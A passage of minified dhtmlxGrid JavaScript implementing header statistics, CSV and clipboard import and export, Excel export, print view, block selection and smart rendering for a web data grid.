false}}h=e.match(/>=|<=|>|</);if(h){m=h[0];g=parseFloat(e.replace(m,\"\"))}return Function(\"v\",\" if (v \"+m+\" \"+g+\" ) return true; return false;\")}return\"\"}};dhtmlXGridObject.prototype._in_header_master_checkbox=function(g,e,h){g.innerHTML=h[0]+\"<input type='checkbox' />\"+h[1];var a=this;g.getElementsByTagName(\"input\")[0].onclick=function(l){a._build_m_order();var c=a._m_order?a._m_order[e]:e;var m=this.checked?1:0;a.forEachRowA(function(o){var n=this.cells(o,c);if(n.isCheckbox()){n.setValue(m);n.cell.wasChanged=true}this.callEvent(\"onEditCell\",[1,o,c,m]);this.callEvent(\"onCheckbox\",[o,c,m])});(l||event).cancelBubble=true}};dhtmlXGridObject.prototype._in_header_stat_total=function(e,a,h){var g=function(){var n=0;this._build_m_order();var m=this._m_order?this._m_order[a]:a;for(var l=0;l<this.rowsBuffer.length;l++){var c=parseFloat(this._get_cell_value(this.rowsBuffer[l],m));n+=isNaN(c)?0:c}return this._maskArr[m]?this._aplNF(n,m):(Math.round(n*100)/100)};this._stat_in_header(e,g,a,h,h)};dhtmlXGridObject.prototype._in_header_stat_multi_total=function(h,g,o){var n=o[1].split(\":\");o[1]=\"\";for(var e=0;e<n.length;e++){n[e]=parseInt(n[e])}var l=function(){var s=0;for(var r=0;r<this.rowsBuffer.length;r++){var q=1;for(var c=0;c<n.length;c++){q*=parseFloat(this._get_cell_value(this.rowsBuffer[r],n[c]))}s+=isNaN(q)?0:q}return this._maskArr[g]?this._aplNF(s,g):(Math.round(s*100)/100)};var a=[];for(var m=0;m<n.length;m++){a[n[m]]=true}this._stat_in_header(h,l,a,o,o)};dhtmlXGridObject.prototype._in_header_stat_max=function(e,a,h){var g=function(){this._build_m_order();var l=this._m_order?this._m_order[a]:a;var m=-999999999;if(this.getRowsNum()==0){return\"&nbsp;\"}for(var c=0;c<this.rowsBuffer.length;c++){m=Math.max(m,parseFloat(this._get_cell_value(this.rowsBuffer[c],l)))}return this._maskArr[a]?this._aplNF(m,a):m};this._stat_in_header(e,g,a,h)};dhtmlXGridObject.prototype._in_header_stat_min=function(e,a,h){var g=function(){this._build_m_order();var l=this._m_order?this._m_order[a]:a;var m=999999999;if(this.getRowsNum()==0){return\"&nbsp;\"}for(var c=0;c<this.rowsBuffer.length;c++){m=Math.min(m,parseFloat(this._get_cell_value(this.rowsBuffer[c],l)))}return this._maskArr[a]?this._aplNF(m,a):m};this._stat_in_header(e,g,a,h)};dhtmlXGridObject.prototype._in_header_stat_average=function(e,a,h){var g=function(){this._build_m_order();var m=this._m_order?this._m_order[a]:a;var o=0;var n=0;if(this.getRowsNum()==0){return\"&nbsp;\"}for(var l=0;l<this.rowsBuffer.length;l++){var c=parseFloat(this._get_cell_value(this.rowsBuffer[l],m));if(!isNaN(c)){o+=c;n++}}return this._maskArr[a]?this._aplNF(o/n,a):(Math.round(o/n*100)/100)};this._stat_in_header(e,g,a,h)};dhtmlXGridObject.prototype._in_header_stat_count=function(e,a,h){var g=function(){return this.getRowsNum()};this._stat_in_header(e,g,a,h)};dhtmlXGridObject.prototype._stat_in_header=function(e,g,a,m){var h=this;var l=function(){this.dma(true);e.innerHTML=(m[0]?m[0]:\"\")+g.call(this)+(m[1]?m[1]:\"\");this.dma(false);this.callEvent(\"onStatReady\",[])};if(!this._stat_events){this._stat_events=[];this.attachEvent(\"onClearAll\",function(){if(!this.hdr.rows[1]){for(var n=0;n<this._stat_events.length;n++){for(var c=0;c<4;c++){this.detachEvent(this._stat_events[n][c])}}this._stat_events=[]}})}this._stat_events.push([this.attachEvent(\"onGridReconstructed\",l),this.attachEvent(\"onXLE\",l),this.attachEvent(\"onFilterEnd\",l),this.attachEvent(\"onEditCell\",function(c,o,n){if(c==2&&(n==a||(a&&a[n]))){l.call(this)}return true})]);e.innerHTML=\"\"};dhtmlXGridObject.prototype.loadCSVFile=function(c,a){this.load(c,a,\"csv\")};dhtmlXGridObject.prototype.enableCSVAutoID=function(a){this._csvAID=dhx4.s2b(a)};dhtmlXGridObject.prototype.enableCSVHeader=function(a){this._csvHdr=dhx4.s2b(a)};dhtmlXGridObject.prototype.setCSVDelimiter=function(a){this.csv.cell=a};dhtmlXGridObject.prototype._csvAID=true;dhtmlXGridObject.prototype.loadCSVString=function(a){this.parse(a,\"csv\")};dhtmlXGridObject.prototype.serializeToCSV=function(n){this.editStop();if(this._mathSerialization){this._agetm=\"getMathValue\"}else{if(this._strictText||n){this._agetm=\"getTitle\"}else{this._agetm=\"getValue\"}}var l=[];if(this._csvHdr){for(var h=1;h<this.hdr.rows.length;h++){var c=[];for(var m=0;m<this._cCount;m++){if((!this._srClmn)||(this._srClmn[m])){c.push(this.getColumnLabel(m,h-1))}}l.push(this.csvParser.str(c,this.csv.cell,this.csv.row))}}var m=0;var g=this.rowsBuffer.length;for(m;m<g;m++){var e=this._serializeRowToCVS(null,m);if(e!=\"\"){l.push(e)}}return this.csvParser.block(l,this.csv.row)};dhtmlXGridObject.prototype._serializeRowToCVS=function(a,o,e,m){var n=new Array();if(!a){a=this.render_row(o);if(this._fake&&!this._fake.rowsAr[a.idd]){this._fake.render_row(o)}}if(!this._csvAID){n[n.length]=a.idd}e=e||0;m=m||this._cCount;var s=false;var g=e;while(a.childNodes[e]._cellIndex>g&&e){e--}for(var q=e;g<m;q++){if(!a.childNodes[q]){break}var c=a.childNodes[q]._cellIndex;if(((!this._srClmn)||(this._srClmn[c]))&&(!this._serialize_visible||!this._hrrar[c])){var h=a.childNodes[q];var l=this.cells(a.idd,c);while(g!=c){g++;n.push(\"\");if(g>=m){break}}if(g>=m){break}g++;if(l.cell){zxVal=l[this._agetm]()}else{zxVal=\"\"}if((this._chAttr)&&(l.wasChanged())){s=true}n[n.length]=((zxVal===null)?\"\":zxVal);if(this._ecspn&&h.colSpan&&h.colSpan>1){h=h.colSpan-1;for(var v=0;v<h;v++){n[n.length]=\"\";g++}}}else{g++}}if((this._onlChAttr)&&(!s)){return\"\"}return this.csvParser.str(n,this.csv.cell,this.csv.row)};dhtmlXGridObject.prototype.toClipBoard=function(a){if(window.clipboardData){window.clipboardData.setData(\"Text\",a)}else{(new Clipboard()).copy(a)}};dhtmlXGridObject.prototype.fromClipBoard=function(){if(window.clipboardData){return window.clipboardData.getData(\"Text\")}else{return(new Clipboard()).paste()}};dhtmlXGridObject.prototype.cellToClipboard=function(e,c){if((!e)||(!c&&c!==0)){if(!this.selectedRows[0]){return}e=this.selectedRows[0].idd;c=this.cell._cellIndex}var a=this.cells(e,c);this.toClipBoard(((a.getLabel?a.getLabel():a.getValue())||\"\").toString())};dhtmlXGridObject.prototype.updateCellFromClipboard=function(e,c){if((!e)||(!c)){if(!this.selectedRows[0]){return}e=this.selectedRows[0].idd;c=this.cell._cellIndex}var a=this.cells(e,c);a[a.setImage?\"setLabel\":\"setValue\"](this.fromClipBoard())};dhtmlXGridObject.prototype.rowToClipboard=function(g){var a=\"\";if(this._mathSerialization){this._agetm=\"getMathValue\"}else{if(this._strictText){this._agetm=\"getTitle\"}else{this._agetm=\"getValue\"}}this._serialize_visible=!this._fake;if(g){a=this._serializeRowToCVS(this.getRowById(g))}else{var e=[];for(var c=0;c<this.selectedRows.length;c++){e[e.length]=this._serializeRowToCVS(this.selectedRows[c]);a=this.csvParser.block(e,this.csv.row)}}this._serialize_visible=false;this.toClipBoard(a)};dhtmlXGridObject.prototype.updateRowFromClipboard=function(h){var a=this.fromClipBoard();if(!a){return}if(h){var g=this.getRowById(h)}else{var g=this.selectedRows[0]}if(!g){return}var l=this.csvParser;a=l.unblock(a,this.csv.cell,this.csv.row)[0];if(!this._csvAID){a.splice(0,1)}for(var e=0;e<a.length;e++){var c=this.cells3(g,e);c[c.setImage?\"setLabel\":\"setValue\"](a[e])}};dhtmlXGridObject.prototype.csvParser={block:function(a,c){return a.join(c)},unblock:function(l,a,h){var g=(l||\"\").split(h);for(var c=0;c<g.length;c++){g[c]=(g[c]||\"\").split(a)}var e=g.length-1;if(g[e].length==1&&g[e][0]==\"\"){g.splice(e,1)}return g},str:function(c,a,e){return c.join(a)}};dhtmlXGridObject.prototype.csvExtParser={_quote:RegExp('\"',\"g\"),_quote_esc:RegExp('\\\\\\\\\"',\"g\"),block:function(a,c){return a.join(c)},unblock:function(n,r,u){var e=[[]];var c=0;if(!n){return e}var o=/^[ ]*\"/;var m=/\"[ ]*$/;var a=new RegExp(\".*\"+u+\".*$\");var h=n.split(r);for(var g=0;g<h.length;g++){if(h[g].match(o)){var s=h[g].replace(o,\"\");while(!h[g].match(m)){g++;s+=h[g]}e[c].push(s.replace(m,\"\").replace(this._quote_esc,'\"'))}else{if(h[g].match(a)){var l=h[g].indexOf(u);e[c].push(h[g].substr(0,l));c++;e[c]=[];h[g]=h[g].substr(l+1);g--}else{if(h[g]||g!=h.length-1){e[c].push(h[g])}}}}var q=e.length-1;if(q>0&&!e[q].length){e.splice(q,1)}return e},str:function(e,a,g){for(var c=0;c<e.length;c++){e[c]='\"'+e[c].replace(this._quote,'\\\\\"')+'\"'}return e.join(a)}};dhtmlXGridObject.prototype.addRowFromClipboard=function(){var a=this.fromClipBoard();if(!a){return}var e=this.csvParser.unblock(a,this.csv.cell,this.csv.row);for(var c=0;c<e.length;c++){if(e[c]){a=e[c];if(!a.length){continue}if(this._csvAID){this.addRow(this.getRowsNum()+2,a)}else{if(this.rowsAr[a[0]]){a[0]=this.uid()}this.addRow(a[0],a.slice(1))}}}};dhtmlXGridObject.prototype.gridToClipboard=function(){this.toClipBoard(this.serializeToCSV())};dhtmlXGridObject.prototype.gridFromClipboard=function(){var a=this.fromClipBoard();if(!a){return}this.loadCSVString(a)};dhtmlXGridObject.prototype.getXLS=function(m){if(!this.xslform){this.xslform=document.createElement(\"FORM\");this.xslform.action=(m||\"\")+\"xls.php\";this.xslform.method=\"post\";this.xslform.target=(_isIE?\"_blank\":\"\");document.body.appendChild(this.xslform);var h=document.createElement(\"INPUT\");h.type=\"hidden\";h.name=\"csv\";this.xslform.appendChild(h);var g=document.createElement(\"INPUT\");g.type=\"hidden\";g.name=\"csv_header\";this.xslform.appendChild(g)}var n=this.serializeToCSV();this.xslform.childNodes[0].value=n;var e=[];var a=this._cCount;for(var c=0;c<a;c++){e.push(this.getHeaderCol(c))}e=e.join(\",\");this.xslform.childNodes[1].value=e;this.xslform.submit()};dhtmlXGridObject.prototype.printView=function(r,e){var o=\"<style>TD { font-family:Arial; text-align:center; padding-left:2px;padding-right:2px; } \\n td.filter input, td.filter select { display:none; }   \\n  </style>\";var A=null;if(this._fake){A=[].concat(this._hrrar);for(var y=0;y<this._fake._cCount;y++){this._hrrar[y]=null}}o+=\"<base  href='\"+(document.location.protocol+\"//\"+document.location.hostname+document.location.pathname)+\"'></base>\";if(!this.parentGrid){o+=(r||\"\")}o+='<table width=\"100%\" border=\"2px\" cellpadding=\"0\" cellspacing=\"0\">';var q=Math.max(this.rowsBuffer.length,this.rowsCol.length);var n=this._cCount;var s=this._printWidth();o+='<tr class=\"header_row_1\">';for(var y=0;y<n;y++){if(this._hrrar&&this._hrrar[y]){continue}var h=this.hdr.rows[1].cells[this.hdr.rows[1]._childIndexes?this.hdr.rows[1]._childIndexes[parseInt(y)]:y];var a=(h.colSpan||1);var F=(h.rowSpan||1);for(var x=1;x<a;x++){s[y]+=s[x]}o+='<td rowspan=\"'+F+'\" width=\"'+s[y]+'%\" style=\"background-color:lightgrey;\" colspan=\"'+a+'\">'+this.getHeaderCol(y)+\"</td>\";y+=a-1}o+=\"</tr>\";for(var y=2;y<this.hdr.rows.length;y++){if(_isIE){o+=\"<tr style='background-color:lightgrey' class='header_row_\"+y+\"'>\";var g=this.hdr.rows[y].childNodes;for(var x=0;x<g.length;x++){if(!this._hrrar||!this._hrrar[g[x]._cellIndex]){o+=g[x].outerHTML}}o+=\"</tr>\"}else{o+=\"<tr class='header_row_\"+y+\"' style='background-color:lightgrey'>\"+(this._fake?this._fake.hdr.rows[y].innerHTML:\"\")+this.hdr.rows[y].innerHTML+\"</tr>\"}}for(var y=0;y<q;y++){o+=\"<tr>\";if(this.rowsCol[y]&&this.rowsCol[y]._cntr){o+=this.rowsCol[y].innerHTML.replace(/<img[^>]*>/gi,\"\")+\"</tr>\";continue}if(this.rowsCol[y]&&this.rowsCol[y].style.display==\"none\"){continue}var m;if(this.rowsCol[y]){m=this.rowsCol[y].idd}else{if(this.rowsBuffer[y]){m=this.rowsBuffer[y].idd}else{continue}}for(var x=0;x<n;x++){if(this._hrrar&&this._hrrar[x]){continue}if(this.rowsAr[m]&&this.rowsAr[m].tagName==\"TR\"){var E=this.cells(m,x);if(E._setState){var u=\"\"}else{if(E.getContent){u=E.getContent()}else{if(E.getImage||E.combo){var u=E.cell.innerHTML}else{var u=E.getValue()}}}}else{var u=this._get_cell_value(this.rowsBuffer[y],x)}var v=this.columnColor[x]?\"background-color:\"+this.columnColor[x]+\";\":\"\";var w=this.cellAlign[x]?\"text-align:\"+this.cellAlign[x]+\";\":\"\";var C=E.getAttribute(\"colspan\");o+='<td style=\"'+v+w+'\" '+(C?'colSpan=\"'+C+'\"':\"\")+\">\"+(u===\"\"?\"&nbsp;\":u)+\"</td>\";if(C){x+=C-1}}o+=\"</tr>\";if(this.rowsCol[y]&&this.rowsCol[y]._expanded){var l=this.cells4(this.rowsCol[y]._expanded.ctrl);if(l.getSubGrid){o+='<tr><td colspan=\"'+n+'\">'+l.getSubGrid().printView()+\"</td></tr>\"}else{o+='<tr><td colspan=\"'+n+'\">'+this.rowsCol[y]._expanded.innerHTML+\"</td></tr>\"}}}if(this.ftr){for(var y=1;y<this.ftr.childNodes[0].rows.length;y++){o+=\"<tr style='background-color:lightgrey'>\"+((this._fake)?this._fake.ftr.childNodes[0].rows[y].innerHTML:\"\")+this.ftr.childNodes[0].rows[y].innerHTML+\"</tr>\"}}o+=\"</table>\";if(this.parentGrid){return o}o+=(e||\"\");var D=window.open(\"\",\"_blank\");D.document.write(o);D.document.write(\"<script>window.onerror=function(){return true;}<\\/script>\");D.document.close();if(this._fake){this._hrrar=A}};dhtmlXGridObject.prototype._printWidth=function(){var h=[];var g=0;for(var e=0;e<this._cCount;e++){var a=this.getColWidth(e);h.push(a);g+=a}var m=[];var c=0;for(var e=0;e<h.length;e++){var l=Math.floor((h[e]/g)*100);c+=l;m.push(l)}m[m.length-1]+=100-c;return m};dhtmlXGridObject.prototype.enableBlockSelection=function(e){if(typeof this._bs_mode==\"undefined\"){var a=this;this.obj.onmousedown=function(g){if(a._bs_mode){a._OnSelectionStart((g||event),this)}return true};this._CSVRowDelimiter=this.csv.row;this.attachEvent(\"onResize\",function(){a._HideSelection();return true});this.attachEvent(\"onGridReconstructed\",function(){a._HideSelection();return true});this.attachEvent(\"onFilterEnd\",this._HideSelection)}if(e===false){this._bs_mode=false;return this._HideSelection()}else{this._bs_mode=true}if(!window.dhx4.isIPad){var c=this._clip_area=document.createElement(\"textarea\");c.style.cssText=\"position:absolute; width:1px; height:1px; overflow:hidden; color:transparent; background-color:transparent; bottom:1px; right:1px; border:none;\";c.onkeydown=function(g){g=g||event;if(g.keyCode==86&&(g.ctrlKey||g.metaKey)){a.pasteBlockFromClipboard()}};document.body.insertBefore(this._clip_area,document.body.firstChild);dhtmlxEvent(this.entBox,\"click\",function(){if(!a.editor&&a._clip_area){a._clip_area.select()}})}};dhtmlXGridObject.prototype.forceLabelSelection=function(a){this._strictText=dhx4.s2b(a)};dhtmlXGridObject.prototype._OnSelectionStart=function(e,g){var c=this;if(e.button==2){return}var h=e.srcElement||e.target;if(this.editor){if(h.tagName&&(h.tagName==\"INPUT\"||h.tagName==\"TEXTAREA\")){return}this.editStop()}c.setActive(true);var m=this.getPosition(this.obj);var a=e.clientX-m[0]+(document.body.scrollLeft||(document.documentElement?document.documentElement.scrollLeft:0));var l=e.clientY-m[1]+(document.body.scrollTop||(document.documentElement?document.documentElement.scrollTop:0));this._CreateSelection(a-4,l-4);if(h==this._selectionObj){this._HideSelection();this._startSelectionCell=null}else{while(h&&(!h.tagName||h.tagName.toLowerCase()!=\"td\")){h=h.parentNode}this._startSelectionCell=h}if(this._startSelectionCell){if(!this.callEvent(\"onBeforeBlockSelected\",[this._startSelectionCell.parentNode.idd,this._startSelectionCell._cellIndex])){return this._startSelectionCell=null}}this.obj.onmousedown=null;this.obj[_isIE?\"onmouseleave\":\"onmouseout\"]=function(n){if(c._blsTimer){window.clearTimeout(c._blsTimer)}};this.obj.onmmold=this.obj.onmousemove;this._init_pos=[a,l];this._selectionObj.onmousemove=this.obj.onmousemove=function(n){n=n||e;if(n.preventDefault){n.preventDefault()}else{n.returnValue=false}c._OnSelectionMove(n)};this._oldDMP=document.body.onmouseup;document.body.onmouseup=function(n){n=n||e;c._OnSelectionStop(n,this);return true};this.callEvent(\"onBeforeBlockSelection\",[]);document.body.onselectstart=function(){return false}};dhtmlXGridObject.prototype._getCellByPos=function(a,g){a=a;if(this._fake){a+=this._fake.objBox.scrollWidth}g=g;var c=0;for(var e=0;e<this.obj.rows.length;e++){g-=this.obj.rows[e].offsetHeight;if(g<=0){c=this.obj.rows[e];break}}if(!c||!c.idd){return null}for(var e=0;e<this._cCount;e++){a-=this.getColWidth(e);if(a<=0){while(true){if(c._childIndexes&&c._childIndexes[e+1]==c._childIndexes[e]){c=c.previousSibling}else{return this.cells(c.idd,e).cell}}}}return null};dhtmlXGridObject.prototype._OnSelectionMove=function(g){var w=this;this._ShowSelection();var r=this.getPosition(this.obj);var m=g.clientX-r[0]+(document.body.scrollLeft||(document.documentElement?document.documentElement.scrollLeft:0));var l=g.clientY-r[1]+(document.body.scrollTop||(document.documentElement?document.documentElement.scrollTop:0));if((Math.abs(this._init_pos[0]-m)<5)&&(Math.abs(this._init_pos[1]-l)<5)){return this._HideSelection()}var u=this._endSelectionCell;if(this._startSelectionCell==null){this._endSelectionCell=this._startSelectionCell=this.getFirstParentOfType(g.srcElement||g.target,\"TD\")}else{if(g.srcElement||g.target){if((g.srcElement||g.target).className==\"dhtmlxGrid_selection\"){this._endSelectionCell=(this._getCellByPos(m,l)||this._endSelectionCell)}else{var v=this.getFirstParentOfType(g.srcElement||g.target,\"TD\");if(v.parentNode.idd){this._endSelectionCell=v}}}}if(this._endSelectionCell){if(!this.callEvent(\"onBeforeBlockSelected\",[this._endSelectionCell.parentNode.idd,this._endSelectionCell._cellIndex])){this._endSelectionCell=u}}var h=this.objBox.scrollLeft+this.objBox.clientWidth;var c=this.objBox.scrollTop+this.objBox.clientHeight;var o=this.objBox.scrollLeft;var n=this.objBox.scrollTop;var e=false;if(this._blsTimer){window.clearTimeout(this._blsTimer)}if(m+20>=h){this.objBox.scrollLeft=this.objBox.scrollLeft+20;e=true}else{if(m-20<o){this.objBox.scrollLeft=this.objBox.scrollLeft-20;e=true}}if(l+20>=c&&!this._realfake){this.objBox.scrollTop=this.objBox.scrollTop+20;e=true}else{if(l-20<n&&!this._realfake){this.objBox.scrollTop=this.objBox.scrollTop-20;e=true}}this._selectionArea=this._RedrawSelectionPos(this._startSelectionCell,this._endSelectionCell);if(e){var s=g.clientX;var q=g.clientY;this._blsTimer=window.setTimeout(function(){w._OnSelectionMove({clientX:s,clientY:q})},100)}};dhtmlXGridObject.prototype._OnSelectionStop=function(c){var a=this;if(this._blsTimer){window.clearTimeout(this._blsTimer)}this.obj.onmousedown=function(g){if(a._bs_mode){a._OnSelectionStart((g||c),this)}return true};this.obj.onmousemove=this.obj.onmmold||null;this._selectionObj.onmousemove=null;document.body.onmouseup=this._oldDMP||null;if(parseInt(this._selectionObj.style.width)<2&&parseInt(this._selectionObj.style.height)<2){this._HideSelection()}else{var e=this.getFirstParentOfType(c.srcElement||c.target,\"TD\");if((!e)||(!e.parentNode.idd)){e=this._endSelectionCell}while(e&&(!e.tagName||e.tagName.toLowerCase()!=\"td\")){e=e.parentNode}if(!e){return this._HideSelection()}this._stopSelectionCell=e;this._selectionArea=this._RedrawSelectionPos(this._startSelectionCell,this._stopSelectionCell);this.callEvent(\"onBlockSelected\",[])}document.body.onselectstart=function(){}};dhtmlXGridObject.prototype._RedrawSelectionPos=function(s,m){if(s.parentNode.grid!=m.parentNode.grid){return this._selectionArea}var q={};q.LeftTopCol=s._cellIndex;q.LeftTopRow=this.getRowIndex(s.parentNode.idd);q.RightBottomCol=m._cellIndex;q.RightBottomRow=this.getRowIndex(m.parentNode.idd);var g=s.offsetWidth;var e=s.offsetHeight;s=this.getPosition(s,this.obj);var u=m.offsetWidth;var n=m.offsetHeight;m=this.getPosition(m,this.obj);if(s[0]<m[0]){var h=s[0];var l=m[0]+u}else{var o=q.RightBottomCol;q.RightBottomCol=q.LeftTopCol;q.LeftTopCol=o;var h=m[0];var l=s[0]+g}if(s[1]<m[1]){var r=s[1];var a=m[1]+n}else{var o=q.RightBottomRow;q.RightBottomRow=q.LeftTopRow;q.LeftTopRow=o;var r=m[1];var a=s[1]+e}var v=l-h;var c=a-r;this._selectionObj.style.left=h+\"px\";this._selectionObj.style.top=r+\"px\";this._selectionObj.style.width=v+\"px\";this._selectionObj.style.height=c+\"px\";return q};dhtmlXGridObject.prototype._CreateSelection=function(a,e){if(this._selectionObj==null){var c=document.createElement(\"div\");c.style.position=\"absolute\";c.style.display=\"none\";c.className=\"dhtmlxGrid_selection\";this._selectionObj=c;this._selectionObj.onmousedown=function(g){g=g||event;if(g.button==2||(_isMacOS&&g.ctrlKey)){return this.parentNode.grid.callEvent(\"onBlockRightClick\",[\"BLOCK\",g])}};this._selectionObj.oncontextmenu=function(g){(g||event).cancelBubble=true;return false};this.objBox.appendChild(this._selectionObj)}this._selectionObj.style.width=\"0px\";this._selectionObj.style.height=\"0px\";this._selectionObj.style.left=a+\"px\";this._selectionObj.style.top=e+\"px\";this._selectionObj.startX=a;this._selectionObj.startY=e};dhtmlXGridObject.prototype._ShowSelection=function(){if(this._selectionObj){this._selectionObj.style.display=\"\"}};dhtmlXGridObject.prototype._HideSelection=function(){if(this._selectionObj){this._selectionObj.style.display=\"none\"}this._selectionArea=null;if(this._clip_area){this._clip_area.value=\"\";this._clip_area.blur()}};dhtmlXGridObject.prototype.copyBlockToClipboard=function(){if(!this._clip_area){return}if(this._selectionArea!=null){var e=new Array();if(this._mathSerialization){this._agetm=\"getMathValue\"}else{if(this._strictText){this._agetm=\"getTitle\"}else{this._agetm=\"getValue\"}}this._serialize_visible=true;for(var a=this._selectionArea.LeftTopRow;a<=this._selectionArea.RightBottomRow;a++){var c=this._serializeRowToCVS(this.rowsBuffer[a],null,this._selectionArea.LeftTopCol,this._selectionArea.RightBottomCol+1);if(!this._csvAID){e[e.length]=c.substr(c.indexOf(this.csv.cell)+1)}else{e[e.length]=c}}e=e.join(this._CSVRowDelimiter);this._clip_area.value=e;this._clip_area.select();this._serialize_visible=false}};dhtmlXGridObject.prototype.pasteBlockFromClipboard=function(){if(!this._clip_area){return}this._clip_area.select();var a=this;window.setTimeout(function(){a._pasteBlockFromClipboard();a=null},1)};dhtmlXGridObject.prototype._pasteBlockFromClipboard=function(){var m=this._clip_area.value;if(!m){return}if(this._selectionArea!=null){var v=this._selectionArea.LeftTopRow;var a=this._selectionArea.LeftTopCol}else{if(this.cell!=null&&!this.editor){var v=this.getRowIndex(this.cell.parentNode.idd);var a=this.cell._cellIndex}else{return false}}m=this.csvParser.unblock(m,this.csv.cell,this.csv.row);var o=v+m.length;var s=a+m[0].length;if(s>this._cCount){s=this._cCount}var g=0;for(var q=v;q<o;q++){var w=this.render_row(q);if(w==-1){continue}var e=0;for(var h=a;h<s;h++){if(this._hrrar[h]&&!this._fake){s=Math.min(s+1,this._cCount);continue}var r=this.cells3(w,h);if(r.isDisabled()){e++;continue}if(this._onEditUndoRedo){this._onEditUndoRedo(2,w.idd,h,m[g][e],r.getValue())}if(r.combo){var u=r.combo.values;for(var c=0;c<u.length;c++){if(m[g][e]==u[c]){r.setValue(r.combo.keys[c]);u=null;break}}if(u!=null&&r.editable){r.setValue(m[g][e++])}else{e++}}else{r[r.setImage?\"setLabel\":\"setValue\"](m[g][e++])}r.cell.wasChanged=true}this.callEvent(\"onRowPaste\",[w.idd]);g++}};dhtmlXGridObject.prototype.getSelectedBlock=function(){if(this._selectionArea){return this._selectionArea}else{if(this.getSelectedRowId()!==null){return{LeftTopRow:this.getSelectedRowId(),LeftTopCol:this.getSelectedCellIndex(),RightBottomRow:this.getSelectedRowId(),RightBottomCol:this.getSelectedCellIndex()}}else{return null}}};dhtmlXGridObject.prototype.enableSmartRendering=function(e,c,a){if(arguments.length>2){if(c&&!this.rowsBuffer[c-1]){this.rowsBuffer[c-1]=0}c=a}this._srnd=dhx4.s2b(e);this._srdh=this._srdh||20;this._dpref=c||0};dhtmlXGridObject.prototype.enablePreRendering=function(a){this._srnd_pr=parseInt(a||50)};dhtmlXGridObject.prototype.forceFullLoading=function(a,h){for(var e=0;e<this.rowsBuffer.length;e++){if(!this.rowsBuffer[e]){var g=a||(this.rowsBuffer.length-e);if(this.callEvent(\"onDynXLS\",[e,g])){var c=this;this.load(this.xmlFileUrl+dhtmlx.url(this.xmlFileUrl)+\"posStart=\"+e+\"&count=\"+g,function(){window.setTimeout(function(){c.forceFullLoading(a,h)},100)},this._data_type)}return}}if(h){h.call(this)}};dhtmlXGridObject.prototype.setAwaitedRowHeight=function(a){this._srdh=parseInt(a)};dhtmlXGridObject.prototype._get_view_size=function(){return Math.floor(parseInt(this.entBox.offsetHeight)/this._srdh)+2};dhtmlXGridObject.prototype._add_filler=function(m,a,c,g){if(!a){return null}var l=\"__filler__\";var h=this._prepareRow(l);h.firstChild.style.width=\"1px\";h.firstChild.style.padding=h.firstChild.style.margin=\"0px\";for(var e=1;e<h.childNodes.length;e++){h.childNodes[e].style.display=\"none\"}h.firstChild.style.height=a*this._srdh+\"px\";c=c||this.rowsCol[m];if(c&&c.nextSibling){c.parentNode.insertBefore(h,c.nextSibling)}else{if(_isKHTML){this.obj.appendChild(h)}else{this.obj.rows[0].parentNode.appendChild(h)}}this.callEvent(\"onAddFiller\",[m,a,h,c,g]);return[m,a,h]};dhtmlXGridObject.prototype._update_srnd_view=function(){var l=Math.floor(this.objBox.scrollTop/this._srdh);var c=l+this._get_view_size();if(this.multiLine){var m=this.objBox.scrollTop;l=0;while(m>0){m-=this.rowsCol[l]?this.rowsCol[l].offsetHeight:this._srdh;l++}c=l+this._get_view_size();if(l>0){l--}}c+=(this._srnd_pr||0);if(c>this.rowsBuffer.length){c=this.rowsBuffer.length}for(var g=l;g<c;g++){if(!this.rowsCol[g]){var h=this._add_from_buffer(g);if(h==-1){if(this.xmlFileUrl){if(this._dpref&&this.rowsBuffer[c-1]){var e=this._dpref?this._dpref:(c-g);var a=Math.max(0,Math.min(g,c-this._dpref));this._current_load=[a,c-a]}else{this._current_load=[g,(this._dpref?this._dpref:(c-g))]}if(this.callEvent(\"onDynXLS\",this._current_load)){this.load(this.xmlFileUrl+dhtmlx.url(this.xmlFileUrl)+\"posStart=\"+this._current_load[0]+\"&count=\"+this._current_load[1],this._data_type)}}return}else{if(this._tgle){this._updateLine(this._h2.get[this.rowsBuffer[g].idd],this.rowsBuffer[g]);this._updateParentLine(this._h2.get[this.rowsBuffer[g].idd],this.rowsBuffer[g])}if(g&&g==(this._realfake?this._fake:this)[\"_r_select\"]){this.selectCell(g,this.cell?this.cell._cellIndex:0,true)}}}}if(this._fake&&!this._realfake&&this.multiLine){this._fake.objBox.scrollTop=this.objBox.scrollTop}};dhtmlXGridObject.prototype._add_from_buffer=function(g){var h=this.render_row(g);if(h==-1){return -1}if(h._attrs.selected||h._attrs.select){this.selectRow(h,false,true);h._attrs.selected=h._attrs.select=null}if(!this._cssSP){if(this._cssEven&&g%2==0){h.className=this._cssEven+((h.className.indexOf(\"rowselected\")!=-1)?\" rowselected \":\" \")+(h._css||\"\")}else{if(this._cssUnEven&&g%2==1){h.className=this._cssUnEven+((h.className.indexOf(\"rowselected\")!=-1)?\" rowselected \":\" \")+(h._css||\"\")}}}else{if(this._h2){var a=this._h2.get[h.idd];h.className+=\" \"+((a.level%2)?(this._cssUnEven+\" \"+this._cssUnEven):(this._cssEven+\" \"+this._cssEven))+\"_\"+a.level+(this.rowsAr[a.id]._css||\"\")}}for(var c=0;c<this._fillers.length;c++){var e=this._fillers[c];if(e&&e[0]<=g&&(e[0]+e[1])>g){var l=g-e[0];if(l==0){this._insert_before(g,h,e[2]);this._update_fillers(c,-1,1)}else{if(l==e[1]-1){this._insert_after(g,h,e[2]);this._update_fillers(c,-1,0)}else{this._fillers.push(this._add_filler(g+1,e[1]-l-1,e[2],1));this._insert_after(g,h,e[2]);this._update_fillers(c,-e[1]+l,0)}}return}}};dhtmlXGridObject.prototype._update_fillers=function(e,a,g){var 